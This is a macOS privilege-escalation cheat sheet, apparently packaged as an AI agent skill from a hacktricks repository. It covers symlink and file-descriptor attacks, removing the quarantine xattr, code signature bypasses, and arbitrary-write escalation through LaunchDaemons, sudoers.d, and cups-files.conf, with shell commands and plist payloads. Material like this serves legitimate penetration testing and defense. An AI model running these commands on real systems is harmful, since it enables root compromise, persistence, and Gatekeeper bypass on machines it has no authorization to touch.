Hacktricks-skills macos-fs-tricks
Use this skill whenever you need to understand or apply macOS filesystem-based privilege escalation techniques, including POSIX permissions, symbolic/hard links, file descriptor manipulation, quarantine bypasses, code signature bypasses, and arbitrary write exploitation. Make sure to use this skill when investigating macOS security, performing penetration testing, analyzing privilege escalation paths, or working with macOS filesystem security mechanisms.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/macos-fs-tricks/SKILL.MDmacOS Filesystem Tricks for Privilege Escalation
This skill provides techniques for understanding and exploiting macOS filesystem security mechanisms for privilege escalation. Use these methods for authorized security assessments and penetration testing only.
Quick Reference
- POSIX Permissions: Understand dangerous permission combinations
- Symlink/Hard Link Attacks: Redirect privileged writes
- File Descriptor Leaks: Inherit privileged FDs
- Quarantine Bypasses: Remove Gatekeeper restrictions
- Code Signature Bypasses: Modify signed bundles
- Arbitrary Writes: Exploit write vulnerabilities
POSIX Permissions
Directory Permissions
| Permission | Effect |
|---|---|
| read | Enumerate directory entries |
| write | Delete/write files, delete empty folders |
| execute | Traverse directory (access files inside) |
Dangerous Combinations
An attacker can inject symlinks/hard links to obtain privileged arbitrary write when:
- One parent directory owner in the path is the user
- One parent directory owner in the path is a users group with write access
- A users group has write access to the file
Folder Root R+X Special Case
If a directory has only root R+X access, files inside are inaccessible to others. A vulnerability allowing file movement from this folder to another could be abused to read these files.
Symbolic Link / Hard Link Attacks
Permissive File/Folder
If a privileged process writes to a file that a lower-privileged user can control or pre-create, the user can point it to another file via symlink/hard link.
O_NOFOLLOW Flag
: Won't follow symlink in last path component, but follows rest of pathO_NOFOLLOW
: Correct way to prevent following symlinks in entire pathO_NOFOLLOW_ANY
.fileloc Files
Files with
.fileloc extension point to other applications/binaries. When opened, the referenced application executes.
Example .fileloc structure:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>URL</key> <string>file:///System/Applications/Calculator.app</string> <key>URLPrefix</key> <integer>0</integer> </dict> </plist>
File Descriptor Leaks
Leak FD (no O_CLOEXEC)
If
open() doesn't use O_CLOEXEC, the file descriptor is inherited by child processes.
Exploitation pattern:
- Make a privileged process open a file with high privileges
- Use
withcrontab
to get the FDEDITOR=exploit.py - The exploit script inherits the FD to the privileged file
Example: CVE-2023-32428 - macOS LPE via MallocStackLogging
Quarantine xattr Bypasses
Remove Quarantine
xattr -d com.apple.quarantine /path/to/file_or_app
uchg/uchange/uimmutable Flag
Files with immutable attribute cannot have xattrs added:
echo asd > /tmp/asd chflags uchg /tmp/asd xattr -w com.apple.quarantine "" /tmp/asd # xattr: [Errno 1] Operation not permitted
devfs Mount
devfs mounts don't support xattrs (CVE-2023-32364):
mkdir /tmp/mnt mount_devfs -o noowners none "/tmp/mnt" chmod 777 /tmp/mnt mkdir /tmp/mnt/lol xattr -w com.apple.quarantine "" /tmp/mnt/lol # xattr: [Errno 1] Operation not permitted
writeextattr ACL
Prevent xattr addition via ACL:
echo test >/tmp/test chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
com.apple.acl.text xattr + AppleDouble
AppleDouble format copies files including ACEs. The ACL text in
com.apple.acl.text xattr is set as ACL in decompressed files.
Bypass Signature Checks
Platform Binary Checks
Bypass by injecting exploit via dyld using
DYLD_INSERT_LIBRARIES environment variable on a platform binary like /bin/ls.
CS_REQUIRE_LV and CS_FORCED_LV Flags
Modify own code signing flags:
int pid = getpid(); NSString *exePath = NSProcessInfo.processInfo.arguments[0]; uint32_t status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); status |= 0x2000; // CS_REQUIRE_LV csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS
Bypass Code Signatures
Bundles contain
_CodeSignature/CodeResources with hashes of every file. Files with omit: true in the plist aren't checked:
Common omitted patterns:
^Resources/.*\.lproj/locversion.plist$^(.*/index.html)?\.DS_Store$^PkgInfo$
Calculate signature hash:
openssl dgst -binary -sha1 /path/to/file | openssl base64
Mount DMGs
Create custom DMG with custom content:
# Create volume hdiutil create /private/tmp/tmp.dmg -size 2m -ov -volname CustomVolName -fs APFS 1>/dev/null mkdir /private/tmp/mnt # Mount hdiutil attach -mountpoint /private/tmp/mnt /private/tmp/tmp.dmg 1>/dev/null # Add content mkdir /private/tmp/mnt/custom_folder echo "hello" > /private/tmp/mnt/custom_folder/custom_file # Detach hdiutil detach /private/tmp/mnt 1>/dev/null
Arbitrary Writes
Periodic Shell Scripts
Overwrite
/etc/periodic/daily/999.local (triggered daily):
sudo periodic daily # Fake execution
LaunchDaemons
Create
/Library/LaunchDaemons/xyz.hacktricks.privesc.plist:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.sample.Load</string> <key>ProgramArguments</key> <array> <string>/Applications/Scripts/privesc.sh</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist>
Sudoers File
Create file in
/etc/sudoers.d/ granting sudo privileges.
PATH Files
- Main PATH population (root only)/etc/paths
- Load new folders into PATH/etc/paths.d/
cups-files.conf
Create
/etc/cups/cups-files.conf:
ErrorLog /etc/sudoers.d/lpe LogFilePerm 777 <some junk>
This creates
/etc/sudoers.d/lpe with 777 permissions. Then write sudoers config and set LogFilePerm 700.
Sandbox Escape
Write Terminal preferences file:
~/Library/Preferences/com.apple.Terminal.plist
Execute command at startup via
open.
Generate Writable Files as Other Users
Create root-owned writable file:
DIRNAME=/usr/local/etc/periodic/daily mkdir -p "$DIRNAME" chmod +a "$(whoami) allow read,write,append,execute,readattr,writeattr,readextattr,writeextattr,chown,delete,writesecurity,readsecurity,list,search,add_file,add_subdirectory,delete_child,file_inherit,directory_inherit," "$DIRNAME" MallocStackLogging=1 MallocStackLoggingDirectory=$DIRNAME MallocStackLoggingDontDeleteStackLogFile=1 top invalidparametername FILENAME=$(ls "$DIRNAME") echo $FILENAME
POSIX Shared Memory
POSIX shared memory enables fast IPC between processes.
Key functions:
- Create/open shared memory objectshm_open()
- Set sizeftruncate()
- Map into address spacemmap()
- Unmapmunmap()
- Remove objectshm_unlink()
Producer example:
#include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> int main() { const char *name = "/my_shared_memory"; const int SIZE = 4096; int shm_fd = shm_open(name, O_CREAT | O_RDWR, 0666); ftruncate(shm_fd, SIZE); void *ptr = mmap(0, SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, shm_fd, 0); sprintf(ptr, "Hello from Producer!"); munmap(ptr, SIZE); close(shm_fd); return 0; }
Consumer example:
#include <fcntl.h> #include <sys/mman.h> #include <unistd.h> int main() { const char *name = "/my_shared_memory"; const int SIZE = 4096; int shm_fd = shm_open(name, O_RDONLY, 0666); void *ptr = mmap(0, SIZE, PROT_READ, MAP_SHARED, shm_fd, 0); printf("Consumer received: %s\n", (char *)ptr); munmap(ptr, SIZE); close(shm_fd); shm_unlink(name); return 0; }
macOS Guarded Descriptors
Security feature to restrict file descriptor operations.
Key functions:
- Open FD with guardguarded_open_np()
- Close guarded FDguarded_close_np()
- Change guard flagschange_fdguard_np()
Prevents unauthorized file access and race conditions when FDs are inherited by vulnerable child processes.
Helper Scripts
Use the bundled scripts for common operations:
- Generate .fileloc filesscripts/create-fileloc.sh
- Create LaunchDaemon plistscripts/create-launchdaemon.sh
- Remove quarantine xattrsscripts/quarantine-bypass.sh
- Compile and run shared memory examplesscripts/shared-memory-example.sh